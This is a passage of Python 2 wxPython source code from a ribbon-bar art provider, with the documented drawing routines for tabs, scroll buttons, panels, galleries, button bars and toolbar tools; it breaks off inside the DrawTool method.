ribbon bar.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto (not the L{RibbonPage}\n associated with the tab being drawn);\n :param `tab`: The rectangle within which to draw, and also the tab label,\n icon, and state (active and/or hovered). The drawing rectangle will be\n entirely within a rectangle on the same device context previously painted\n with L{DrawTabCtrlBackground}. The rectangle's width will be at least the\n minimum value returned by L{GetBarTabWidth}, and height will be the value\n returned by L{GetTabCtrlHeight}.\n\n \"\"\"\n\n if tab.rect.height <= 1:\n return\n\n dc.SetFont(self._tab_label_font)\n dc.SetPen(wx.TRANSPARENT_PEN)\n \n if tab.active or tab.hovered: \n if tab.active: \n dc.SetFont(self._tab_active_label_font)\n dc.SetBrush(self._background_brush)\n dc.DrawRectangle(tab.rect.x, tab.rect.y + tab.rect.height - 1, tab.rect.width - 1, 1)\n \n grad_rect = wx.Rect(*tab.rect)\n grad_rect.height -= 4\n grad_rect.width -= 1\n grad_rect.height /= 2\n grad_rect.y = grad_rect.y + tab.rect.height - grad_rect.height - 1\n dc.SetBrush(self._tab_active_top_background_brush)\n dc.DrawRectangle(tab.rect.x, tab.rect.y + 3, tab.rect.width - 1, grad_rect.y - tab.rect.y - 3)\n dc.GradientFillLinear(grad_rect, self._tab_active_background_colour, self._tab_active_background_gradient_colour, wx.SOUTH)\n \n else:\n \n btm_rect = wx.Rect(*tab.rect)\n btm_rect.height -= 4\n btm_rect.width -= 1\n btm_rect.height /= 2\n btm_rect.y = btm_rect.y + tab.rect.height - btm_rect.height - 1\n dc.SetBrush(self._tab_hover_background_brush)\n dc.DrawRectangle(btm_rect.x, btm_rect.y, btm_rect.width, btm_rect.height)\n grad_rect = wx.Rect(*tab.rect)\n grad_rect.width -= 1\n grad_rect.y += 3\n grad_rect.height = btm_rect.y - grad_rect.y\n dc.GradientFillLinear(grad_rect, self._tab_hover_background_top_colour, self._tab_hover_background_top_gradient_colour, wx.SOUTH)\n \n border_points = [wx.Point() for i in xrange(5)]\n border_points[0] = wx.Point(0, 3)\n border_points[1] = wx.Point(1, 2)\n border_points[2] = wx.Point(tab.rect.width - 3, 2)\n border_points[3] = wx.Point(tab.rect.width - 1, 4)\n border_points[4] = wx.Point(tab.rect.width - 1, tab.rect.height - 1)\n\n dc.SetPen(self._tab_border_pen)\n dc.DrawLines(border_points, tab.rect.x, tab.rect.y)\n\n old_clip = dc.GetClippingRect()\n is_first_tab = False\n\n bar = tab.page.GetParent()\n icon = wx.NullBitmap\n \n if isinstance(bar, BAR.RibbonBar) and bar.GetPage(0) == tab.page:\n is_first_tab = True\n\n if self._flags & RIBBON_BAR_SHOW_PAGE_ICONS: \n icon = tab.page.GetIcon()\n if self._flags & RIBBON_BAR_SHOW_PAGE_LABELS == 0: \n x = tab.rect.x + (tab.rect.width - icon.GetWidth()) / 2\n dc.DrawBitmap(icon, x, tab.rect.y + 1 + (tab.rect.height - 1 - icon.GetHeight()) / 2, True)\n \n if self._flags & RIBBON_BAR_SHOW_PAGE_LABELS:\n label = tab.page.GetLabel()\n \n if label.strip(): \n dc.SetTextForeground(self._tab_label_colour)\n dc.SetBackgroundMode(wx.TRANSPARENT)\n\n offset = 0\n \n if icon.IsOk():\n offset += icon.GetWidth() + 2\n\n text_width, text_height = dc.GetTextExtent(label)\n x = (tab.rect.width - 2 - text_width - offset) / 2\n if x > 8:\n x = 8\n elif x < 1:\n x = 1\n \n width = tab.rect.width - x - 2\n x += tab.rect.x + offset\n y = tab.rect.y + (tab.rect.height - text_height) / 2\n \n if icon.IsOk(): \n dc.DrawBitmap(icon, x - offset, tab.rect.y + (tab.rect.height - icon.GetHeight()) / 2, True)\n \n dc.SetClippingRegion(x, tab.rect.y, width, tab.rect.height)\n dc.DrawText(label, x, y)\n \n # Draw the left hand edge of the tab only for the first tab (subsequent\n # tabs use the right edge of the prior tab as their left edge). As this is\n # outside the rectangle for the tab, only draw it if the leftmost part of\n # the tab is within the clip rectangle (the clip region has to be cleared\n # to draw outside the tab).\n if is_first_tab and old_clip.x <= tab.rect.x and tab.rect.x < old_clip.x + old_clip.width: \n dc.DestroyClippingRegion()\n dc.DrawLine(tab.rect.x - 1, tab.rect.y + 4, tab.rect.x - 1, tab.rect.y + tab.rect.height - 1)\n \n\n def GetBarTabWidth(self, dc, wnd, label, bitmap, ideal=None, small_begin_need_separator=None,\n small_must_have_separator=None, minimum=None):\n \"\"\"\n Calculate the ideal and minimum width (in pixels) of a tab in a ribbon bar.\n\n :param `dc`: A device context to use when one is required for size calculations;\n :param `wnd`: The window onto which the tab will eventually be drawn;\n :param `label`: The tab's label (or wx.EmptyString if it has none);\n :param `bitmap`: The tab's icon (or wx.NullBitmap if it has none);\n :param `ideal`: The ideal width (in pixels) of the tab;\n :param `small_begin_need_separator`: A size less than the size, at which a tab\n separator should begin to be drawn (i.e. drawn, but still fairly transparent);\n :param `small_must_have_separator`: A size less than the size, at which a tab\n separator must be drawn (i.e. drawn at full opacity);\n :param `minimum`: A size less than the size, and greater than or equal to zero,\n which is the minimum pixel width for the tab.\n\n \"\"\"\n\n width = mini = 0\n \n if self._flags & RIBBON_BAR_SHOW_PAGE_LABELS and label.strip(): \n dc.SetFont(self._tab_active_label_font)\n width += dc.GetTextExtent(label)[0]\n mini += min(30, width) # enough for a few chars\n \n if bitmap.IsOk(): \n # gap between label and bitmap\n width += 4\n mini += 2\n \n if self._flags & RIBBON_BAR_SHOW_PAGE_ICONS and bitmap.IsOk():\n width += bitmap.GetWidth()\n mini += bitmap.GetWidth()\n\n ideal = width + 16 \n small_begin_need_separator = mini \n small_must_have_separator = mini \n minimum = mini\n\n return ideal, small_begin_need_separator, small_must_have_separator, minimum\n\n\n def DrawTabSeparator(self, dc, wnd, rect, visibility):\n \"\"\"\n Draw a separator between two tabs in a ribbon bar.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto;\n :param `rect`: The rectangle within which to draw, which will be entirely\n within a rectangle on the same device context previously painted with\n L{DrawTabCtrlBackground};\n :param `visibility`: The opacity with which to draw the separator. Values\n are in the range [0, 1], with 0 being totally transparent, and 1 being totally\n opaque.\n\n \"\"\"\n\n # No explicit separators between tabs\n pass\n\n\n def DrawPageBackground(self, dc, wnd, rect):\n \"\"\"\n Draw the background of a ribbon page.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto (which is commonly the\n L{RibbonPage} whose background is being drawn, but doesn't have to be);\n :param `rect`: The rectangle within which to draw.\n\n :see: L{RibbonMSWArtProvider.GetPageBackgroundRedrawArea}\n \"\"\"\n\n dc.SetPen(wx.TRANSPARENT_PEN)\n dc.SetBrush(self._background_brush)\n dc.DrawRectangle(rect.x + 1, rect.y, rect.width - 2, rect.height - 1)\n\n dc.SetPen(self._page_border_pen)\n dc.DrawLine(rect.x, rect.y, rect.x, rect.y + rect.height)\n dc.DrawLine(rect.GetRight(), rect.y, rect.GetRight(), rect.y +rect.height)\n dc.DrawLine(rect.x, rect.GetBottom(), rect.GetRight()+1, rect.GetBottom())\n\n\n def GetScrollButtonMinimumSize(self, dc, wnd, style):\n \"\"\"\n Calculate the minimum size (in pixels) of a scroll button.\n\n :param `dc`: A device context to use when one is required for size calculations;\n :param `wnd`: The window onto which the scroll button will eventually be drawn;\n :param `style`: A combination of flags from `RibbonScrollButtonStyle`, including\n a direction, and a for flag (state flags may be given too, but should be ignored,\n as a button should retain a constant size, regardless of its state).\n\n \"\"\"\n\n return wx.Size(11, 11)\n\n\n def DrawScrollButton(self, dc, wnd, rect, style):\n \"\"\"\n Draw a ribbon-style scroll button.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto;\n :param `rect`: The rectangle within which to draw. The size of this rectangle\n will be at least the size returned by L{GetScrollButtonMinimumSize} for a\n scroll button with the same style. For tab scroll buttons, this rectangle\n will be entirely within a rectangle on the same device context previously\n painted with L{DrawTabCtrlBackground}, but this is not guaranteed for other\n types of button (for example, page scroll buttons will not be painted on\n an area previously painted with L{DrawPageBackground});\n :param `style`: A combination of flags from `RibbonScrollButtonStyle`,\n including a direction, a for flag, and one or more states.\n\n \"\"\"\n\n true_rect = wx.Rect(*rect)\n arrow_points = [wx.Point() for i in xrange(3)]\n\n if style & RIBBON_SCROLL_BTN_FOR_MASK == RIBBON_SCROLL_BTN_FOR_TABS: \n true_rect.y += 2\n true_rect.height -= 2\n dc.SetPen(self._tab_border_pen)\n else:\n dc.SetPen(wx.TRANSPARENT_PEN)\n dc.SetBrush(self._background_brush)\n dc.DrawRectangle(rect.x, rect.y, rect.width, rect.height)\n dc.SetPen(self._page_border_pen)\n\n result = style & RIBBON_SCROLL_BTN_DIRECTION_MASK\n \n if result == RIBBON_SCROLL_BTN_LEFT:\n dc.DrawLine(true_rect.GetRight(), true_rect.y, true_rect.GetRight(), true_rect.y + true_rect.height)\n arrow_points[0] = wx.Point(rect.width / 2 - 2, rect.height / 2)\n arrow_points[1] = arrow_points[0] + wx.Point(5, -5)\n arrow_points[2] = arrow_points[0] + wx.Point(5, 5)\n\n elif result == RIBBON_SCROLL_BTN_RIGHT:\n dc.DrawLine(true_rect.x, true_rect.y, true_rect.x, true_rect.y + true_rect.height)\n arrow_points[0] = wx.Point(rect.width / 2 + 3, rect.height / 2)\n arrow_points[1] = arrow_points[0] - wx.Point(5, -5)\n arrow_points[2] = arrow_points[0] - wx.Point(5, 5)\n\n elif result == RIBBON_SCROLL_BTN_DOWN:\n dc.DrawLine(true_rect.x, true_rect.y, true_rect.x + true_rect.width, true_rect.y)\n arrow_points[0] = wx.Point(rect.width / 2, rect.height / 2 + 3)\n arrow_points[1] = arrow_points[0] - wx.Point( 5, 5)\n arrow_points[2] = arrow_points[0] - wx.Point(-5, 5)\n\n elif result == RIBBON_SCROLL_BTN_UP:\n dc.DrawLine(true_rect.x, true_rect.GetBottom(), true_rect.x + true_rect.width, true_rect.GetBottom())\n arrow_points[0] = wx.Point(rect.width / 2, rect.height / 2 - 2)\n arrow_points[1] = arrow_points[0] + wx.Point( 5, 5)\n arrow_points[2] = arrow_points[0] + wx.Point(-5, 5)\n\n else:\n return\n \n x = rect.x\n y = rect.y\n\n if style & RIBBON_SCROLL_BTN_ACTIVE: \n x += 1\n y += 1\n\n dc.SetPen(wx.TRANSPARENT_PEN)\n B = wx.Brush(self._tab_label_colour)\n dc.SetBrush(B)\n dc.DrawPolygon(arrow_points, x, y)\n\n\n def GetPanelSize(self, dc, wnd, client_size, client_offset=None):\n \"\"\"\n Calculate the size of a panel for a given client size.\n\n This should increment the given size by enough to fit the panel label and other\n chrome.\n\n :param `dc`: A device context to use if one is required for size calculations;\n :param `wnd`: The ribbon panel in question;\n :param `client_size`: The client size;\n :param `client_offset`: The offset where the client rectangle begins within\n the panel (may be ``None``).\n\n :see: L{GetPanelClientSize}\n \"\"\"\n\n dc.SetFont(self._panel_label_font)\n label_size = wx.Size(*dc.GetTextExtent(wnd.GetLabel()))\n label_height = label_size.GetHeight() + 5\n \n if self._flags & RIBBON_BAR_FLOW_VERTICAL: \n client_size.IncBy(4, label_height + 6)\n if client_offset is not None:\n client_offset = wx.Point(2, label_height + 3)\n \n else: \n client_size.IncBy(6, label_height + 4)\n if client_offset is not None:\n client_offset = wx.Point(3, label_height + 2)\n \n return client_size\n\n\n def GetPanelClientSize(self, dc, wnd, size, client_offset=None):\n \"\"\"\n Calculate the client size of a panel for a given overall size.\n\n This should act as the inverse to L{GetPanelSize}, and decrement the given size\n by enough to fit the panel label and other chrome.\n\n :param `dc`: A device context to use if one is required for size calculations;\n :param `wnd`: The ribbon panel in question;\n :param `size`: The overall size to calculate client size for;\n :param `client_offset`: The offset where the returned client size begins within\n the given (may be ``None``).\n\n :see: L{GetPanelSize}\n \"\"\"\n\n dc.SetFont(self._panel_label_font)\n label_size = wx.Size(*dc.GetTextExtent(wnd.GetLabel()))\n label_height = label_size.GetHeight() + 5\n\n if self._flags & RIBBON_BAR_FLOW_VERTICAL: \n size.DecBy(4, label_height + 6)\n if client_offset is not None:\n client_offset = wx.Point(2, label_height + 3)\n \n else: \n size.DecBy(6, label_height + 4)\n if client_offset is not None:\n client_offset = wx.Point(3, label_height + 2)\n \n return size, client_offset\n\n\n def DrawPanelBackground(self, dc, wnd, rect):\n \"\"\"\n Draw the background and chrome for a ribbon panel.\n\n This should draw the border, background, label, and any other items of a panel\n which are outside the client area of a panel. Note that when a panel is\n minimised, this function is not called - only L{DrawMinimisedPanel} is called,\n so a background should be explicitly painted by that if required.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto, which is always the panel\n whose background and chrome is being drawn. The panel label and other panel\n attributes can be obtained by querying this;\n :param `rect`: The rectangle within which to draw.\n\n \"\"\"\n\n dc.SetPen(wx.TRANSPARENT_PEN)\n dc.SetBrush(self._background_brush)\n dc.DrawRectangle(rect.x, rect.y, rect.width, rect.height)\n\n true_rect = wx.Rect(*rect)\n true_rect = self.RemovePanelPadding(true_rect)\n\n dc.SetPen(self._panel_border_pen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.DrawRectangle(true_rect.x, true_rect.y, true_rect.width, true_rect.height)\n\n true_rect.x += 1\n true_rect.width -= 2\n true_rect.y += 1\n\n dc.SetFont(self._panel_label_font)\n label_size = wx.Size(*dc.GetTextExtent(wnd.GetLabel()))\n label_height = label_size.GetHeight() + 5\n label_rect = wx.Rect(*true_rect)\n label_rect.height = label_height - 1\n \n dc.DrawLine(label_rect.x, label_rect.y + label_rect.height, label_rect.x + label_rect.width, label_rect.y + label_rect.height)\n\n label_bg_colour = self._panel_label_background_colour\n label_bg_grad_colour = self._panel_label_background_gradient_colour\n \n if wnd.IsHovered(): \n label_bg_colour = self._panel_hover_label_background_colour\n label_bg_grad_colour = self._panel_hover_label_background_gradient_colour\n dc.SetTextForeground(self._panel_hover_label_colour)\n else: \n dc.SetTextForeground(self._panel_label_colour)\n\n if wx.Platform == \"__WXMAC__\":\n dc.GradientFillLinear(label_rect, label_bg_grad_colour, label_bg_colour, wx.SOUTH)\n else:\n dc.GradientFillLinear(label_rect, label_bg_colour, label_bg_grad_colour, wx.SOUTH)\n\n dc.SetFont(self._panel_label_font)\n dc.DrawText(wnd.GetLabel(), label_rect.x + 3, label_rect.y + 2)\n\n if wnd.IsHovered():\n \n gradient_rect = wx.Rect(*true_rect)\n gradient_rect.y += label_rect.height + 1\n gradient_rect.height = true_rect.height - label_rect.height - 3\n if wx.Platform == \"__WXMAC__\":\n colour = self._page_hover_background_gradient_colour\n gradient = self._page_hover_background_colour\n else:\n colour = self._page_hover_background_colour\n gradient = self._page_hover_background_gradient_colour\n\n dc.GradientFillLinear(gradient_rect, colour, gradient, wx.SOUTH)\n \n\n def DrawMinimisedPanel(self, dc, wnd, rect, bitmap):\n \"\"\"\n Draw a minimised ribbon panel.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto, which is always the panel\n which is minimised. The panel label can be obtained from this window. The\n minimised icon obtained from querying the window may not be the size requested\n by L{RibbonMSWArtProvider.GetMinimisedPanelMinimumSize} - the argument contains the icon in the\n requested size;\n :param `rect`: The rectangle within which to draw. The size of the rectangle\n will be at least the size returned by L{RibbonMSWArtProvider.GetMinimisedPanelMinimumSize};\n :param `bitmap`: A copy of the panel's minimised bitmap rescaled to the size\n returned by L{RibbonMSWArtProvider.GetMinimisedPanelMinimumSize}.\n\n \"\"\"\n\n dc.SetPen(wx.TRANSPARENT_PEN)\n dc.SetBrush(self._background_brush)\n dc.DrawRectangle(rect.x, rect.y, rect.width, rect.height)\n\n true_rect = wx.Rect(*rect)\n true_rect = self.RemovePanelPadding(true_rect)\n\n dc.SetPen(self._panel_border_pen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.DrawRectangle(true_rect.x, true_rect.y, true_rect.width, true_rect.height)\n true_rect.Deflate(1, 1)\n\n if wnd.IsHovered() or wnd.GetExpandedPanel():\n colour = self._page_hover_background_colour\n gradient = self._page_hover_background_gradient_colour\n if (wx.Platform == \"__WXMAC__\" and not wnd.GetExpandedPanel()) or \\\n (wx.Platform != \"__WXMAC__\" and wnd.GetExpandedPanel()):\n temp = colour\n colour = gradient\n gradient = temp\n \n dc.GradientFillLinear(true_rect, colour, gradient, wx.SOUTH)\n \n preview = self.DrawMinimisedPanelCommon(dc, wnd, true_rect)\n\n dc.SetPen(self._panel_border_pen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.DrawRectangle(preview.x, preview.y, preview.width, preview.height)\n preview.Deflate(1, 1)\n\n preview_caption_rect = wx.Rect(*preview)\n preview_caption_rect.height = 7\n preview.y += preview_caption_rect.height\n preview.height -= preview_caption_rect.height\n \n if wx.Platform == \"__WXMAC__\":\n dc.GradientFillLinear(preview_caption_rect, self._panel_hover_label_background_gradient_colour,\n self._panel_hover_label_background_colour, wx.SOUTH)\n dc.GradientFillLinear(preview, self._page_hover_background_gradient_colour,\n self._page_hover_background_colour, wx.SOUTH)\n else:\n dc.GradientFillLinear(preview_caption_rect, self._panel_hover_label_background_colour,\n self._panel_hover_label_background_gradient_colour, wx.SOUTH)\n dc.GradientFillLinear(preview, self._page_hover_background_colour,\n self._page_hover_background_gradient_colour, wx.SOUTH)\n\n if bitmap.IsOk(): \n dc.DrawBitmap(bitmap, preview.x + (preview.width - bitmap.GetWidth()) / 2,\n preview.y + (preview.height - bitmap.GetHeight()) / 2, True)\n \n\n def DrawPartialPanelBackground(self, dc, wnd, rect):\n\n dc.SetPen(wx.TRANSPARENT_PEN)\n dc.SetBrush(self._background_brush)\n dc.DrawRectangle(rect.x, rect.y, rect.width, rect.height)\n\n offset = wx.Point(*wnd.GetPosition())\n parent = wnd.GetParent()\n panel = None\n\n while 1:\n panel = parent\n if isinstance(panel, PANEL.RibbonPanel):\n if not panel.IsHovered():\n return\n break\n \n offset += parent.GetPosition()\n parent = panel.GetParent()\n \n if panel is None:\n return\n\n background = wx.Rect(0, 0, *panel.GetSize())\n background = self.RemovePanelPadding(background)\n \n background.x += 1\n background.width -= 2\n dc.SetFont(self._panel_label_font)\n caption_height = dc.GetTextExtent(panel.GetLabel())[1] + 7\n background.y += caption_height - 1\n background.height -= caption_height\n\n paint_rect = wx.Rect(*rect)\n paint_rect.x += offset.x\n paint_rect.y += offset.y\n\n if wx.Platform == \"__WXMAC__\":\n bg_grad_clr = self._page_hover_background_colour\n bg_clr = self._page_hover_background_gradient_colour\n else:\n bg_clr = self._page_hover_background_colour\n bg_grad_clr = self._page_hover_background_gradient_colour\n\n paint_rect.Intersect(background)\n \n if not paint_rect.IsEmpty():\n starting_colour = RibbonInterpolateColour(bg_clr, bg_grad_clr, paint_rect.y, background.y, background.y + background.height)\n ending_colour = RibbonInterpolateColour(bg_clr, bg_grad_clr, paint_rect.y + paint_rect.height, background.y, background.y + background.height)\n paint_rect.x -= offset.x\n paint_rect.y -= offset.y\n dc.GradientFillLinear(paint_rect, starting_colour, ending_colour, wx.SOUTH)\n\n \n def DrawGalleryBackground(self, dc, wnd, rect):\n \"\"\"\n Draw the background and chrome for a L{RibbonGallery} control.\n\n This should draw the border, brackground, scroll buttons, extension button, and\n any other UI elements which are not attached to a specific gallery item.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto, which is always the gallery\n whose background and chrome is being drawn. Attributes used during drawing like\n the gallery hover state and individual button states can be queried from this\n parameter by L{RibbonGallery.IsHovered}, L{RibbonGallery.GetExtensionButtonState},\n L{RibbonGallery.GetUpButtonState}, and L{RibbonGallery.GetDownButtonState};\n :param `rect`: The rectangle within which to draw. This rectangle is the entire\n area of the gallery control, not just the client rectangle.\n\n \"\"\"\n\n self.DrawPartialPanelBackground(dc, wnd, rect)\n\n if wnd.IsHovered(): \n dc.SetPen(wx.TRANSPARENT_PEN)\n dc.SetBrush(self._gallery_hover_background_brush)\n \n if self._flags & RIBBON_BAR_FLOW_VERTICAL: \n dc.DrawRectangle(rect.x + 1, rect.y + 1, rect.width - 2, rect.height - 16) \n else: \n dc.DrawRectangle(rect.x + 1, rect.y + 1, rect.width - 16, rect.height - 2)\n \n dc.SetPen(self._gallery_border_pen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.DrawRectangle(rect.x, rect.y, rect.width, rect.height)\n \n self.DrawGalleryBackgroundCommon(dc, wnd, rect)\n\n\n def DrawGalleryButton(self, dc, rect, state, bitmaps):\n\n extra_height = 0\n extra_width = 0\n reduced_rect = wx.Rect(*rect)\n reduced_rect.Deflate(1, 1)\n \n if self._flags & RIBBON_BAR_FLOW_VERTICAL: \n reduced_rect.width += 1\n extra_width = 1\n else: \n reduced_rect.height += 1\n extra_height = 1\n \n if state == RIBBON_GALLERY_BUTTON_NORMAL:\n dc.GradientFillLinear(reduced_rect, self._gallery_button_background_colour, self._gallery_button_background_gradient_colour, wx.SOUTH)\n btn_bitmap = bitmaps[0]\n\n elif state == RIBBON_GALLERY_BUTTON_HOVERED:\n dc.SetPen(self._gallery_item_border_pen)\n dc.SetBrush(self._gallery_button_hover_background_brush)\n dc.DrawRectangle(rect.x, rect.y, rect.width + extra_width, rect.height + extra_height)\n btn_bitmap = bitmaps[1]\n\n elif state == RIBBON_GALLERY_BUTTON_ACTIVE:\n dc.SetPen(self._gallery_item_border_pen)\n dc.SetBrush(self._gallery_button_active_background_brush)\n dc.DrawRectangle(rect.x, rect.y, rect.width + extra_width, rect.height + extra_height)\n btn_bitmap = bitmaps[2]\n\n elif state == RIBBON_GALLERY_BUTTON_DISABLED:\n dc.SetPen(wx.TRANSPARENT_PEN)\n dc.SetBrush(self._gallery_button_disabled_background_brush)\n dc.DrawRectangle(reduced_rect.x, reduced_rect.y, reduced_rect.width, reduced_rect.height)\n btn_bitmap = bitmaps[3] \n\n dc.DrawBitmap(btn_bitmap, reduced_rect.x + reduced_rect.width / 2 - 2, (rect.y + rect.height / 2) - 2, True)\n\n\n def DrawGalleryItemBackground(self, dc, wnd, rect, item):\n \"\"\"\n Draw the background of a single item in a L{RibbonGallery} control.\n\n This is painted on top of a gallery background, and behind the items bitmap.\n Unlike L{DrawButtonBarButton} and L{DrawTool}, it is not expected to draw the\n item bitmap - that is done by the gallery control itself.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto, which is always the gallery\n which contains the item being drawn;\n :param `rect`: The rectangle within which to draw. The size of this rectangle\n will be the size of the item's bitmap, expanded by gallery item padding values\n (``RIBBON_ART_GALLERY_BITMAP_PADDING_LEFT_SIZE``, ``RIBBON_ART_GALLERY_BITMAP_PADDING_RIGHT_SIZE``,\n ``RIBBON_ART_GALLERY_BITMAP_PADDING_TOP_SIZE``, and ``RIBBON_ART_GALLERY_BITMAP_PADDING_BOTTOM_SIZE``).\n The drawing rectangle will be entirely within a rectangle on the same device\n context previously painted with L{DrawGalleryBackground};\n :param `item`: The item whose background is being painted. Typically the\n background will vary if the item is hovered, active, or selected;\n L{RibbonGallery.GetSelection}, L{RibbonGallery.GetActiveItem}, and\n L{RibbonGallery.GetHoveredItem} can be called to test if the given item is in one of these states.\n\n \"\"\"\n\n if wnd.GetHoveredItem() != item and wnd.GetActiveItem() != item and wnd.GetSelection() != item:\n return\n\n dc.SetPen(self._gallery_item_border_pen)\n \n if wnd.GetActiveItem() == item or wnd.GetSelection() == item:\n dc.SetBrush(self._gallery_button_active_background_brush)\n else:\n dc.SetBrush(self._gallery_button_hover_background_brush)\n\n dc.DrawRectangle(rect.x, rect.y, rect.width, rect.height)\n\n\n def DrawButtonBarBackground(self, dc, wnd, rect):\n \"\"\"\n Draw the background for a L{bar.RibbonButtonBar} control.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto (which will typically\n be the button bar itself, though this is not guaranteed);\n :param `rect`: The rectangle within which to draw.\n\n \"\"\"\n\n self.DrawPartialPanelBackground(dc, wnd, rect)\n\n\n def DrawButtonBarButton(self, dc, wnd, rect, kind, state, label, bitmap_large, bitmap_small):\n \"\"\"\n Draw a single button for a L{bar.RibbonButtonBar} control.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto;\n :param `rect`: The rectangle within which to draw. The size of this rectangle\n will be a size previously returned by L{RibbonMSWArtProvider.GetButtonBarButtonSize}, and the\n rectangle will be entirely within a rectangle on the same device context\n previously painted with L{DrawButtonBarBackground};\n :param `kind`: The kind of button to draw (normal, dropdown or hybrid);\n :param `state`: Combination of a size flag and state flags from the\n `RibbonButtonBarButtonState` enumeration;\n :param `label`: The label of the button;\n :param `bitmap_large`: The large bitmap of the button (or the large disabled\n bitmap when ``RIBBON_BUTTONBAR_BUTTON_DISABLED`` is set in );\n :param `bitmap_small`: The small bitmap of the button (or the small disabled\n bitmap when ``RIBBON_BUTTONBAR_BUTTON_DISABLED`` is set in ).\n\n \"\"\"\n\n if state & (RIBBON_BUTTONBAR_BUTTON_HOVER_MASK | RIBBON_BUTTONBAR_BUTTON_ACTIVE_MASK):\n dc.SetPen(self._button_bar_hover_border_pen)\n bg_rect = wx.Rect(*rect)\n bg_rect.Deflate(1, 1)\n\n if kind == RIBBON_BUTTON_HYBRID:\n result = state & RIBBON_BUTTONBAR_BUTTON_SIZE_MASK\n \n if result == RIBBON_BUTTONBAR_BUTTON_LARGE:\n iYBorder = rect.y + bitmap_large.GetHeight() + 4\n partial_bg = wx.Rect(*rect)\n \n if state & RIBBON_BUTTONBAR_BUTTON_NORMAL_HOVERED: \n partial_bg.SetBottom(iYBorder - 1) \n else: \n partial_bg.height -= (iYBorder - partial_bg.y + 1)\n partial_bg.y = iYBorder + 1\n \n dc.DrawLine(rect.x, iYBorder, rect.x + rect.width, iYBorder)\n bg_rect.Intersect(partial_bg)\n\n elif result == RIBBON_BUTTONBAR_BUTTON_MEDIUM: \n iArrowWidth = 9\n \n if state & RIBBON_BUTTONBAR_BUTTON_NORMAL_HOVERED: \n bg_rect.width -= iArrowWidth\n dc.DrawLine(bg_rect.x + bg_rect.width, rect.y, bg_rect.x + bg_rect.width, rect.y + rect.height) \n else: \n iArrowWidth -= 1\n bg_rect.x += bg_rect.width - iArrowWidth\n bg_rect.width = iArrowWidth\n dc.DrawLine(bg_rect.x - 1, rect.y, bg_rect.x - 1, rect.y + rect.height)\n\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.DrawRectangle(rect.x, rect.y, rect.width, rect.height)\n\n dc.SetPen(wx.TRANSPARENT_PEN)\n \n if state & RIBBON_BUTTONBAR_BUTTON_ACTIVE_MASK:\n dc.SetBrush(self._button_bar_active_background_brush)\n else:\n dc.SetBrush(self._button_bar_hover_background_brush)\n \n dc.DrawRectangle(bg_rect.x, bg_rect.y, bg_rect.width, bg_rect.height)\n \n dc.SetFont(self._button_bar_label_font)\n dc.SetTextForeground(self._button_bar_label_colour)\n self.DrawButtonBarButtonForeground(dc, rect, kind, state, label, bitmap_large, bitmap_small)\n\n\n def DrawToolBarBackground(self, dc, wnd, rect):\n \"\"\"\n Draw the background for a L{RibbonToolBar} control.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The which is being drawn onto. In most cases this will be\n a L{RibbonToolBar}, but it doesn't have to be;\n :param `rect`: The rectangle within which to draw. Some of this rectangle\n will later be drawn over using L{DrawToolGroupBackground} and L{DrawTool},\n but not all of it will (unless there is only a single group of tools).\n\n \"\"\"\n\n self.DrawPartialPanelBackground(dc, wnd, rect)\n\n\n def DrawToolGroupBackground(self, dc, wnd, rect):\n \"\"\"\n Draw the background for a group of tools on a L{RibbonToolBar} control.\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto. In most cases this will\n be a L{RibbonToolBar}, but it doesn't have to be;\n :param `rect`: The rectangle within which to draw. This rectangle is a union\n of the individual tools' rectangles. As there are no gaps between tools, this\n rectangle will be painted over exactly once by calls to L{DrawTool}. The\n group background could therefore be painted by L{DrawTool}, though it can be\n conceptually easier and more efficient to draw it all at once here. The\n rectangle will be entirely within a rectangle on the same device context\n previously painted with L{DrawToolBarBackground}.\n\n \"\"\"\n\n dc.SetPen(self._toolbar_border_pen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.DrawRectangle(rect.x, rect.y, rect.width, rect.height)\n bg_rect = wx.Rect(*rect)\n bg_rect.Deflate(1, 1)\n dc.GradientFillLinear(bg_rect, self._tool_background_colour, self._tool_background_gradient_colour, wx.SOUTH)\n\n\n def DrawTool(self, dc, wnd, rect, bitmap, kind, state):\n \"\"\"\n Draw a single tool (for a L{RibbonToolBar} control).\n\n :param `dc`: The device context to draw onto;\n :param `wnd`: The window which is being drawn onto. In most cases this will\n be a L{RibbonToolBar}, but it doesn't have to be;\n :param `rect`: The rectangle within which to draw. The size of this rectangle\n will at least the size returned by L{RibbonMSWArtProvider.GetToolSize}, and the height of it will\n be equal for all tools within the same group. The rectangle will be entirely\n within a rectangle on the same device context previously painted with\n L{DrawToolGroupBackground};\n :param `bitmap`: The bitmap to use as the tool's foreground. If the tool is a\n hybrid or dropdown tool, then the foreground should also contain a standard\n dropdown button;\n :param `kind`: The kind of tool to draw (normal, dropdown, or hybrid);\n :param `state`: A combination of wx.RibbonToolBarToolState flags giving the\n state of the tool and it's relative position within a tool group.\n\n \"\"\"\n\n bg_rect = wx.Rect(*rect)\n bg_rect.Deflate(1, 1)\n \n if state & RIBBON_TOOLBAR_TOOL_LAST == 0:\n bg_rect.width += 1\n \n is_custom_bg = (state & (RIBBON_TOOLBAR_TOOL_HOVER_MASK | RIBBON_TOOLBAR_TOOL_ACTIVE_MASK)) != 0\n is_split_hybrid = kind == RIBBON_BUTTON_HYBRID and is_custom_bg\n\n # Background\n if is_custom_bg: \n dc.SetPen(wx.TRANSPARENT_PEN)\n 